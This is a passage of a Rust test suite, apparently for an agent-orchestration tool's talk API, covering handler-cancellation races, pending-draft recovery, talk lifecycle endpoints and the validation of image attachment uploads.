15181    /// guards against: `talk::record` used to return, and only *then* did the
15182    /// handler make a second, separate disk round trip before spawning the
15183    /// agent's reply task. A future dropped in that gap left a message
15184    /// recorded on disk with no reply task ever started and no way back short
15185    /// of a fresh message - and the gap was not even the whole story: *any*
15186    /// `.await` in this handler, including the very first one, is a point
15187    /// where a drop can land after the awaited work already finished but
15188    /// before this handler's own code resumes to act on it. `record` now
15189    /// runs inside the task `tokio::spawn` hands to the runtime before this
15190    /// handler ever awaits anything of its own again, so there is nothing
15191    /// left in *this* handler's future for a disconnect to interrupt between
15192    /// the message landing on disk and the reply task starting.
15193    ///
15194    /// A real socket disconnect cannot be relied on to land in the old gap
15195    /// from a test - over loopback, `talk_say` typically finishes before the
15196    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15197    /// same failure mode directly: it drops the task's future at whatever
15198    /// point it has reached, exactly what axum does to the handler future,
15199    /// without needing to win a real network race. Sweeping the delay before
15200    /// aborting samples a range of points the task's execution can be at,
15201    /// including where the old code sat waiting on its second disk round
15202    /// trip - confirmed by reverting this fix locally and watching this same
15203    /// sweep catch a talk stuck with the operator's turn recorded and no
15204    /// reply ever following.
15205    #[tokio::test]
15206    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15207        let tmp = TempDir::new().expect("tempdir");
15208        let repo = tmp.path().join("repo");
15209        std::fs::create_dir_all(&repo).expect("repo dir");
15210        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15211        let home = TempDir::new().expect("temp home");
15212        let talks = Talks::at(home.path().join("talks"));
15213        let ui = Arc::new(
15214            Ui::new(
15215                Queue::at(home.path().join("queue")),
15216                Questions::at(home.path().join("questions")),
15217                talks.clone(),
15218                home.path().join("runs"),
15219                home.path().to_path_buf(),
15220                repo.clone(),
15221            )
15222            .with_worktrees_root(home.path().join("wt")),
15223        );
15224        let cfg = config_for(&repo).await.expect("discover config");
15225
15226        for delay in 0..40u32 {
15227            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15228            let id = talk.id.clone();
15229
15230            let handler = tokio::spawn(talk_say(
15231                State(Arc::clone(&ui)),
15232                Path(id.clone()),
15233                Ok(Json(NewTalkTurn {
15234                    reply_to: None,
15235                    text: "what does the queue module do?".to_owned(),
15236                    attachments: Vec::new(),
15237                })),
15238            ));
15239            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15240            handler.abort();
15241            // Wait out the abort so the next iteration's talk does not race
15242            // this one's still-unwinding turn guard.
15243            let _ = handler.await;
15244
15245            let mut turns = 0;
15246            for _ in 0..SETTLE_STEPS {
15247                if let Ok(fresh) = talks.get(&id) {
15248                    turns = fresh.turns.len();
15249                    if turns != 1 {
15250                        break;
15251                    }
15252                }
15253                tokio::time::sleep(Duration::from_millis(10)).await;
15254            }
15255            assert_ne!(
15256                turns, 1,
15257                "delay {delay}: talk {id} recorded the operator's turn but \
15258                 the agent never answered - the reply task was never \
15259                 started after the handler future was dropped"
15260            );
15261        }
15262    }
15263
15264    /// The same drop, landing on `talk_say`'s other durable write.
15265    ///
15266    /// When a turn is already running, the busy branch persists the
15267    /// operator's text as a queued draft and then reclaims the turn slot if
15268    /// the holder gave it up in the meantime - and whoever reclaims owes that
15269    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15270    /// which finishes whether or not the future awaiting it is still there,
15271    /// so a handler dropped at that `.await` used to leave the draft written
15272    /// to disk with the reclaimed guard dropped unread and no drainer ever
15273    /// started: the message sat queued until some unrelated later `say`
15274    /// happened to pick it up.
15275    ///
15276    /// This used to drive the handler future by hand, polling it a fixed
15277    /// number of times to park it at the `.await` where it asks for the turn
15278    /// and finds it busy, before the reclaim's slot-free case could be set up
15279    /// underneath it. That assumed a fixed number of polls lands at a fixed
15280    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15281    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15282    /// poll, so any number of this handler's several `blocking` awaits can
15283    /// collapse into one poll under load, landing the drive somewhere other
15284    /// than intended - including, occasionally, straight past the handler's
15285    /// own completion, which made polling it again panic with "async fn
15286    /// resumed after completion". No poll count fixes that; the handler's
15287    /// progress simply is not something a caller outside it can observe by
15288    /// counting.
15289    ///
15290    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15291    /// inside the write itself, so the interleaving under test is pinned by
15292    /// an event instead of a guess: the gate fires only once the handler has
15293    /// actually decided `Busy` and is about to persist the draft, and it
15294    /// blocks that write until the test lets it through. Between those two
15295    /// moments the test drains the turn the handler found busy - through
15296    /// `drain_loop`, the protocol's other half - and then aborts the handler
15297    /// task outright, the same way axum drops a disconnected request's
15298    /// future. The write, and the reclaim it may do, run to completion
15299    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15300    /// to the runtime before ever touching the gate, wholly independent of
15301    /// whether the handler that started it is still around - which is what
15302    /// this test is actually checking. A drainer other than that reclaim
15303    /// cannot exist here: the test's own `drain_loop` call happens before the
15304    /// gate opens, so it runs while the queue is still empty and hands the
15305    /// turn straight back rather than draining anything, closing off the
15306    /// possibility of the final assertion passing without the reclaim ever
15307    /// having done its job.
15308    #[tokio::test]
15309    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15310        let tmp = TempDir::new().expect("tempdir");
15311        let repo = tmp.path().join("repo");
15312        std::fs::create_dir_all(&repo).expect("repo dir");
15313        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15314        let home = TempDir::new().expect("temp home");
15315        let talks = Talks::at(home.path().join("talks"));
15316        let ui = Arc::new(
15317            Ui::new(
15318                Queue::at(home.path().join("queue")),
15319                Questions::at(home.path().join("questions")),
15320                talks.clone(),
15321                home.path().join("runs"),
15322                home.path().to_path_buf(),
15323                repo.clone(),
15324            )
15325            .with_worktrees_root(home.path().join("wt")),
15326        );
15327        let cfg = config_for(&repo).await.expect("discover config");
15328
15329        for attempt in 0..3u32 {
15330            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15331            let id = talk.id.clone();
15332            // A turn is already running, which is what sends `talk_say` down
15333            // the busy branch.
15334            let turn_guard = ui
15335                .begin_talk_turn(&id)
15336                .expect("claim the turn")
15337                .expect("a fresh talk owes nobody a turn");
15338
15339            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15340            let (release_tx, release_rx) = std::sync::mpsc::channel();
15341            ui.set_busy_queue_gate(BusyQueueGate {
15342                reached: reached_tx,
15343                release: release_rx,
15344            });
15345
15346            let handler = tokio::spawn(talk_say(
15347                State(Arc::clone(&ui)),
15348                Path(id.clone()),
15349                Ok(Json(NewTalkTurn {
15350                    reply_to: None,
15351                    text: "what does the queue module do?".to_owned(),
15352                    attachments: Vec::new(),
15353                })),
15354            ));
15355
15356            // Wait for the busy branch to actually reach the gate, rather
15357            // than for any fixed number of polls of anything - a bounded
15358            // wait rather than a bare `.await` so a regression that never
15359            // reaches the gate fails the test instead of hanging it.
15360            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15361                .await
15362                .unwrap_or_else(|_| {
15363                    panic!(
15364                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15365                    )
15366                })
15367                .expect("the busy branch dropped the gate without using it");
15368            assert!(
15369                crate::consult::try_publication_guard(&talks, &id)
15370                    .expect("publication fence")
15371                    .is_none(),
15372                "a queued worker cannot promote text before its successor reservation is published"
15373            );
15374
15375            // A listener replacement queues its writer behind this accepted
15376            // mutation. Even disconnecting the HTTP caller must not release
15377            // admission before the write-to-worker handoff has completed.
15378            let closing = Arc::clone(&ui.admissions).write_owned();
15379            tokio::pin!(closing);
15380            std::future::poll_fn(|cx| {
15381                assert!(closing.as_mut().poll(cx).is_pending());
15382                std::task::Poll::Ready(())
15383            })
15384            .await;
15385            assert!(
15386                ui.begin_admission().is_err(),
15387                "replacement blocks later admissions"
15388            );
15389
15390            // The turn that was running now finishes and gives the slot up
15391            // the way a real one does - through `drain_loop`, which finds
15392            // nothing queued yet (the write is still held at the gate) and
15393            // releases. The handler, parked inside `spawn_blocking` on the
15394            // other side of the gate, still believes the talk is busy -
15395            // exactly the interleaving the reclaim exists for.
15396            let running = talks.get(&id).expect("reload talk");
15397            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15398
15399            // Drop the handler future now, the way a reloading phone drops
15400            // it: suspended waiting on the busy branch's answer, having
15401            // itself made no more progress since it handed the write off.
15402            handler.abort();
15403            let _ = handler.await;
15404            std::future::poll_fn(|cx| {
15405                assert!(
15406                    closing.as_mut().poll(cx).is_pending(),
15407                    "HTTP cancellation must not abandon a publishing transaction"
15408                );
15409                std::task::Poll::Ready(())
15410            })
15411            .await;
15412            assert!(
15413                crate::consult::try_publication_guard(&talks, &id)
15414                    .expect("publication fence after disconnect")
15415                    .is_none()
15416            );
15417
15418            // Only now let the gated write proceed. It persists the draft
15419            // and reclaims the now-free slot from inside the task the busy
15420            // branch already spawned - unaffected by the handler's abort
15421            // above, since that task was independent of the handler's own
15422            // future from the moment it was spawned.
15423            let _ = release_tx.send(());
15424            drop(
15425                tokio::time::timeout(Duration::from_secs(5), closing)
15426                    .await
15427                    .expect("short admission transaction should release for replacement"),
15428            );
15429            assert!(
15430                crate::consult::try_publication_guard(&talks, &id)
15431                    .expect("publication fence after acknowledgement")
15432                    .is_some(),
15433                "the publication fence is not retained by the long response"
15434            );
15435
15436            // A settled talk: the draft drained into an operator turn and
15437            // answered.
15438            let mut fresh = talks.get(&id).expect("reload talk");
15439            for _ in 0..SETTLE_STEPS {
15440                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15441                    break;
15442                }
15443                tokio::time::sleep(Duration::from_millis(10)).await;
15444                fresh = talks.get(&id).expect("reload talk");
15445            }
15446            assert!(
15447                fresh.pending.is_empty() && fresh.turns.len() == 2,
15448                "attempt {attempt}: talk {id} left the operator's text queued \
15449                 with no drainer - the reclaimed turn was dropped along with \
15450                 the handler future (pending {:?}, {} turns)",
15451                fresh.pending,
15452                fresh.turns.len()
15453            );
15454        }
15455    }
15456
15457    #[tokio::test]
15458    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15459        let (_tmp, _repo, f) = talk_fixture().await;
15460        let id = f.post("/api/talks", None).await.json()["id"]
15461            .as_str()
15462            .expect("id")
15463            .to_owned();
15464        let store = f.talks();
15465        let mut recovered = store.get(&id).expect("opened talk");
15466        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15467            .expect("persist pending draft without a live turn");
15468
15469        let edited = f
15470            .post(
15471                &format!("/api/talks/{id}/pending/edit"),
15472                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15473            )
15474            .await;
15475        assert_eq!(edited.status, 200, "{}", edited.body);
15476        assert!(edited.json()["thinking"].as_bool().unwrap());
15477
15478        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15479        for _ in 0..SETTLE_STEPS {
15480            if detail["turns"].as_array().expect("turns").len() == 2 {
15481                break;
15482            }
15483            tokio::time::sleep(Duration::from_millis(10)).await;
15484            detail = f.get(&format!("/api/talks/{id}")).await.json();
15485        }
15486        let turns = detail["turns"].as_array().expect("turns");
15487        assert_eq!(
15488            turns.len(),
15489            2,
15490            "the recovered draft must run once: {detail}"
15491        );
15492        assert_eq!(turns[0]["body"], "corrected");
15493        assert_eq!(detail["pending"], "");
15494    }
15495
15496    #[tokio::test]
15497    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15498        let tmp = TempDir::new().expect("tempdir");
15499        let repo = tmp.path().join("repo");
15500        std::fs::create_dir_all(&repo).expect("repo dir");
15501        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15502        let f = Fixture::with_repo(repo).await;
15503        let id = f.post("/api/talks", None).await.json()["id"]
15504            .as_str()
15505            .expect("id")
15506            .to_owned();
15507        let store = f.talks();
15508        let mut recovered = store.get(&id).expect("opened talk");
15509        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15510            .expect("persist pending draft without a live turn");
15511
15512        let refused = f
15513            .post(
15514                &format!("/api/talks/{id}/say"),
15515                Some(r#"{"text":"new message"}"#),
15516            )
15517            .await;
15518        assert_eq!(refused.status, 409, "{}", refused.body);
15519        assert!(refused.body.contains("resume"), "{}", refused.body);
15520        let saved = store.get(&id).expect("draft remains after refusal");
15521        assert!(saved.turns.is_empty());
15522        assert_eq!(saved.pending, "saved before restart");
15523
15524        let say_path = format!("/api/talks/{id}/say");
15525        let (first, second) = tokio::join!(
15526            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15527            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15528        );
15529        assert_eq!(first.status, 409, "{}", first.body);
15530        assert_eq!(second.status, 409, "{}", second.body);
15531        let saved = store
15532            .get(&id)
15533            .expect("draft remains after concurrent refusals");
15534        assert!(saved.turns.is_empty());
15535        assert_eq!(saved.pending, "saved before restart");
15536
15537        let resumed = f
15538            .post(&format!("/api/talks/{id}/pending/resume"), None)
15539            .await;
15540        assert_eq!(resumed.status, 202, "{}", resumed.body);
15541        let duplicate = f
15542            .post(&format!("/api/talks/{id}/pending/resume"), None)
15543            .await;
15544        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15545
15546        for _ in 0..SETTLE_STEPS {
15547            if store.get(&id).expect("talk").turns.len() == 2 {
15548                break;
15549            }
15550            tokio::time::sleep(Duration::from_millis(10)).await;
15551        }
15552        let finished = store.get(&id).expect("finished talk");
15553        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15554        assert_eq!(finished.turns[0].body, "saved before restart");
15555        assert!(finished.pending.is_empty());
15556    }
15557
15558    #[tokio::test]
15559    async fn an_image_only_recovered_draft_resumes_without_text() {
15560        let (_tmp, _repo, f) = talk_fixture().await;
15561        let id = f.post("/api/talks", None).await.json()["id"]
15562            .as_str()
15563            .expect("id")
15564            .to_owned();
15565        let uploaded = f
15566            .post_bytes(
15567                &format!("/api/talks/{id}/attachments"),
15568                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15569                PNG_BYTES,
15570            )
15571            .await;
15572        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15573        let attachment = f
15574            .talks()
15575            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15576            .expect("attachment metadata")
15577            .expect("stored attachment");
15578        let store = f.talks();
15579        let mut recovered = store.get(&id).expect("opened talk");
15580        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15581
15582        let resumed = f
15583            .post(&format!("/api/talks/{id}/pending/resume"), None)
15584            .await;
15585        assert_eq!(resumed.status, 202, "{}", resumed.body);
15586        for _ in 0..SETTLE_STEPS {
15587            if store.get(&id).expect("talk").turns.len() == 2 {
15588                break;
15589            }
15590            tokio::time::sleep(Duration::from_millis(10)).await;
15591        }
15592        let finished = store.get(&id).expect("finished talk");
15593        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15594        assert!(finished.turns[0].body.is_empty());
15595        assert_eq!(finished.turns[0].attachments.len(), 1);
15596        assert!(finished.pending_attachments.is_empty());
15597    }
15598
15599    #[tokio::test]
15600    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15601        let (_tmp, _repo, f) = talk_fixture().await;
15602        let id = f.post("/api/talks", None).await.json()["id"]
15603            .as_str()
15604            .expect("id")
15605            .to_owned();
15606        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15607        assert_eq!(closed.status, 200, "{}", closed.body);
15608        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15609            .expect("serialize closed talk");
15610        for (path, body) in [
15611            (format!("/api/talks/{id}/pending/resume"), None),
15612            (
15613                format!("/api/talks/{id}/pending/clear"),
15614                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15615            ),
15616            (
15617                format!("/api/talks/{id}/pending/edit"),
15618                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15619            ),
15620            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15621        ] {
15622            let response = f.post(&path, body).await;
15623            assert_eq!(response.status, 409, "{}", response.body);
15624        }
15625        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15626            .expect("serialize closed talk");
15627        assert_eq!(
15628            after_clear, before_clear,
15629            "clear must not rewrite a closed talk"
15630        );
15631    }
15632
15633    /// Keeps both claims observable long enough to exercise the distinction
15634    /// between one busy talk and a globally locked Chat surface.
15635    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15636
15637    #[tokio::test]
15638    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15639        let tmp = TempDir::new().expect("tempdir");
15640        let repo = tmp.path().join("repo");
15641        std::fs::create_dir_all(&repo).expect("repo dir");
15642        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15643        let f = Fixture::with_repo(repo).await;
15644        let id_a = f.post("/api/talks", None).await.json()["id"]
15645            .as_str()
15646            .unwrap()
15647            .to_owned();
15648        let id_b = f.post("/api/talks", None).await.json()["id"]
15649            .as_str()
15650            .unwrap()
15651            .to_owned();
15652
15653        let a = f
15654            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15655            .await;
15656        assert_eq!(a.status, 202, "{}", a.body);
15657        assert_eq!(a.json()["thinking"], true);
15658        let b = f
15659            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15660            .await;
15661        assert_eq!(b.status, 202, "{}", b.body);
15662        assert_eq!(b.json()["thinking"], true);
15663
15664        let listed = f.get("/api/talks").await.json();
15665        for id in [&id_a, &id_b] {
15666            let view = listed
15667                .as_array()
15668                .unwrap()
15669                .iter()
15670                .find(|talk| talk["id"] == *id)
15671                .unwrap();
15672            assert_eq!(view["thinking"], true, "{listed}");
15673        }
15674        let repeated = f
15675            .post(
15676                &format!("/api/talks/{id_a}/say"),
15677                Some(r#"{"text":"again"}"#),
15678            )
15679            .await;
15680        assert_eq!(repeated.status, 202, "{}", repeated.body);
15681        assert_eq!(repeated.json()["pending"], "again");
15682    }
15683
15684    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15685    /// few more, since real uploads are never exactly eight bytes.
15686    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15687
15688    #[tokio::test]
15689    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15690        let f = Fixture::start().await;
15691        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15692
15693        let res = f
15694            .post_bytes(
15695                &format!("/api/talks/{id}/attachments"),
15696                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15697                PNG_BYTES,
15698            )
15699            .await;
15700        assert_eq!(res.status, 201, "{}", res.body);
15701        let body = res.json();
15702        assert_eq!(body["name"], "shot.png");
15703        assert_eq!(body["mime"], "image/png");
15704        assert_eq!(body["bytes"], PNG_BYTES.len());
15705        let att_id = body["id"].as_str().expect("id").to_owned();
15706        assert_eq!(
15707            att_id.len(),
15708            32,
15709            "the id must never be a client-suppliable path: {att_id}"
15710        );
15711
15712        let got = f
15713            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15714            .await;
15715        assert_eq!(got.status, 200, "{}", got.body);
15716        assert_eq!(got.header("content-type"), Some("image/png"));
15717        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15718        assert_eq!(got.bytes, PNG_BYTES);
15719    }
15720
15721    #[tokio::test]
15722    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15723        let f = Fixture::start().await;
15724        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15725
15726        // SVG can carry a `<script>`, so it is never on the whitelist even
15727        // though it is a real IANA image type.
15728        let svg = f
15729            .post_bytes(
15730                &format!("/api/talks/{id}/attachments"),
15731                &[("Content-Type", "image/svg+xml")],
15732                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15733            )
15734            .await;
15735        assert!(
15736            (400..500).contains(&svg.status),
15737            "svg must be refused: {} {}",
15738            svg.status,
15739            svg.body
15740        );
15741        assert!(svg.body.contains("SVG"), "{}", svg.body);
15742
15743        let text = f
15744            .post_bytes(
15745                &format!("/api/talks/{id}/attachments"),
15746                &[("Content-Type", "text/plain")],
15747                b"just some text",
15748            )
15749            .await;
15750        assert!(
15751            (400..500).contains(&text.status),
15752            "an unlisted type must be refused: {} {}",
15753            text.status,
15754            text.body
15755        );
15756
15757        // The declared type is a real png, but the size check runs before
15758        // the bytes are even looked at.
15759        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15760        let big = f
15761            .post_bytes(
15762                &format!("/api/talks/{id}/attachments"),
15763                &[("Content-Type", "image/png")],
15764                &oversized,
15765            )
15766            .await;
15767        assert_eq!(
15768            big.status,
15769            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15770            "{}",
15771            big.body
15772        );
15773    }
15774
15775    #[tokio::test]
15776    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15777        let f = Fixture::start().await;
15778        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15779
15780        // A whitelisted `Content-Type`, but bytes that are not actually a
15781        // png - the declared header alone is never trusted.
15782        let res = f
15783            .post_bytes(
15784                &format!("/api/talks/{id}/attachments"),
15785                &[("Content-Type", "image/png")],
15786                b"<html>not a picture</html>",
15787            )
15788            .await;
15789        assert!((400..500).contains(&res.status), "{}", res.body);
15790    }
15791
15792    #[tokio::test]
15793    async fn an_unknown_attachment_id_is_a_404() {
15794        let f = Fixture::start().await;
15795        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15796
15797        let res = f
15798            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15799            .await;
15800        assert_eq!(res.status, 404, "{}", res.body);
15801    }
15802
15803    #[tokio::test]
15804    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15805        let f = Fixture::start().await;
15806        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15807
15808        let uploaded = f
15809            .post_bytes(
15810                &format!("/api/talks/{id}/attachments"),
15811                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15812                PNG_BYTES,
15813            )
15814            .await;
15815        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15816        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15817
15818        let res = f
15819            .post(
15820                &format!("/api/talks/{id}/say"),
15821                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15822            )
15823            .await;
15824        assert_eq!(res.status, 202, "{}", res.body);
15825        let queued = res.json();
15826        let turns = queued["turns"].as_array().expect("turns array");
15827        assert_eq!(
15828            turns.len(),
15829            1,
15830            "an empty body with an attachment is still a turn: {queued}"
15831        );
15832        assert_eq!(turns[0]["who"], "operator");
15833        assert_eq!(turns[0]["body"], "");
15834        let atts = turns[0]["attachments"]
15835            .as_array()
15836            .expect("attachments array");
15837        assert_eq!(atts.len(), 1);
15838        assert_eq!(atts[0]["id"], att_id);
15839        assert_eq!(atts[0]["mime"], "image/png");
15840
15841        // Not only in the response: `record` flushes to disk before the
15842        // agent's own turn is even spawned.
15843        let on_disk = f.talks().get(&id).expect("get");
15844        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15845        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15846    }
15847
15848    #[tokio::test]
15849    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15850        let f = Fixture::start().await;
15851        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15852
15853        let res = f
15854            .post(
15855                &format!("/api/talks/{id}/say"),
15856                Some(&format!(
15857                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15858                    "a".repeat(32)
15859                )),
15860            )
15861            .await;
15862        assert!((400..500).contains(&res.status), "{}", res.body);
15863        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15864
15865        let on_disk = f.talks().get(&id).expect("get");
15866        assert!(
15867            on_disk.turns.is_empty(),
15868            "a rejected attachment id must not partially record the turn: {:?}",
15869            on_disk.turns
15870        );
15871    }
15872
15873    #[tokio::test]
15874    async fn talk_close_makes_the_talk_refuse_further_turns() {
15875        let f = Fixture::start().await;
15876        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15877
15878        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15879        assert_eq!(closed.status, 200, "{}", closed.body);
15880        assert_eq!(closed.json()["status"], "closed");
15881
15882        // Idempotent: closing an already-closed talk is not an error.
15883        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15884        assert_eq!(closed_again.status, 200);
15885        assert_eq!(closed_again.json()["status"], "closed");
15886
15887        let said = f
15888            .post(
15889                &format!("/api/talks/{id}/say"),
15890                Some(r#"{"text":"too late"}"#),
15891            )
15892            .await;
15893        assert_eq!(said.status, 409, "{}", said.body);
15894    }
15895
15896    #[tokio::test]
15897    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15898        let (_tmp, _repo, f) = talk_fixture().await;
15899        let id = f.post("/api/talks", None).await.json()["id"]
15900            .as_str()
15901            .expect("id")
15902            .to_owned();
15903        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15904        assert_eq!(closed.status, 200, "{}", closed.body);
15905
15906        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15907        assert_eq!(reopened.status, 200, "{}", reopened.body);
15908        assert_eq!(reopened.json()["status"], "open");
15909
15910        // Idempotent: reopening an already-open talk is not an error.
15911        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15912        assert_eq!(reopened_again.status, 200);
15913        assert_eq!(reopened_again.json()["status"], "open");
15914
15915        let said = f
15916            .post(
15917                &format!("/api/talks/{id}/say"),
15918                Some(r#"{"text":"still there?"}"#),
15919            )
15920            .await;
15921        assert_eq!(
15922            said.status, 202,
15923            "a reopened talk accepts turns again: {}",
15924            said.body
15925        );
15926    }
15927
15928    #[tokio::test]
15929    async fn talk_reopen_on_an_unknown_id_is_404() {
15930        let f = Fixture::start().await;
15931        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15932        assert_eq!(res.status, 404, "{}", res.body);
15933    }
15934
15935    #[tokio::test]
15936    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15937        let f = Fixture::start().await;
15938        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15939
15940        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15941        assert_eq!(deleted.status, 204, "{}", deleted.body);
15942
15943        let after = f.get(&format!("/api/talks/{id}")).await;
15944        assert_eq!(after.status, 404, "{}", after.body);
15945
15946        let listed = f.get("/api/talks").await.json();
15947        assert!(
15948            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15949            "a deleted talk must not linger in the list: {listed}"
15950        );
15951    }
15952
15953    #[tokio::test]
15954    async fn talk_delete_on_an_unknown_id_is_404() {
15955        let f = Fixture::start().await;
15956        let res = f.delete("/api/talks/nonexistent-id").await;
15957        assert_eq!(res.status, 404, "{}", res.body);
15958    }
15959
15960    /// A task's page lists every run it ever had, in order, and says what kind
15961    /// of attempt each was - including a resume, which re-pushes the same run
15962    /// id, and a run whose record this build cannot read.
15963    #[tokio::test]
15964    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15965        let f = Fixture::start().await;
15966        let (a, b, gone) = (
15967            "20260902-140501-aaaa",
15968            "20260902-140502-bbbb",
15969            "20260902-140503-cccc",
15970        );
15971        write_run(&f.runs(), a, RunStatus::Stalled);
15972        let mut review = RunState::new(
15973            PathBuf::from("/repo/magi"),
15974            "main".to_owned(),
15975            "0123456789abcdef".to_owned(),
15976            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15977                .to_owned(),
15978            Config::default(),
15979        );
15980        review.id = b.to_owned();
15981        review.status = RunStatus::Merged;
15982        write_state(&f.runs(), &review);
15983
15984        let mut task = Task::new(
15985            "retry".to_owned(),
15986            "Do the thing".to_owned(),
15987            PathBuf::from("/repo/magi"),
15988            Source::Human,
15989        );
15990        task.start(a.to_owned());
15991        task.stall("quota");
15992        task.start(a.to_owned());
15993        task.start(b.to_owned());
15994        task.start(gone.to_owned());
15995        // This fixture models an older queue file with repeated run entries.
15996        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15997        f.queue().put(&mut task).expect("file the task");
15998
15999        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16000        assert_eq!(res.status, 200, "{}", res.body);
16001        let v = res.json();
16002        let h = v["history"].as_array().expect("history");
16003        assert_eq!(h.len(), 4, "{v}");
16004        assert_eq!(h[0]["kind"], "competition");
16005        assert_eq!(h[0]["status"], "stalled");
16006        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16007        assert_eq!(h[1]["kind"], "resume", "{v}");
16008        assert!(
16009            h[0]["outcome"]
16010                .as_str()
16011                .unwrap()
16012                .contains("unknown. Pass #2"),
16013            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16014        );
16015        assert!(
16016            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16017            "{v}"
16018        );
16019        assert!(
16020            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16021            "an unrecorded cause must not be narrated as an operator park: {v}"
16022        );
16023        assert_eq!(h[2]["kind"], "review");
16024        assert!(
16025            h[2]["description"]
16026                .as_str()
16027                .unwrap()
16028                .contains("magi/aaaa/A")
16029        );
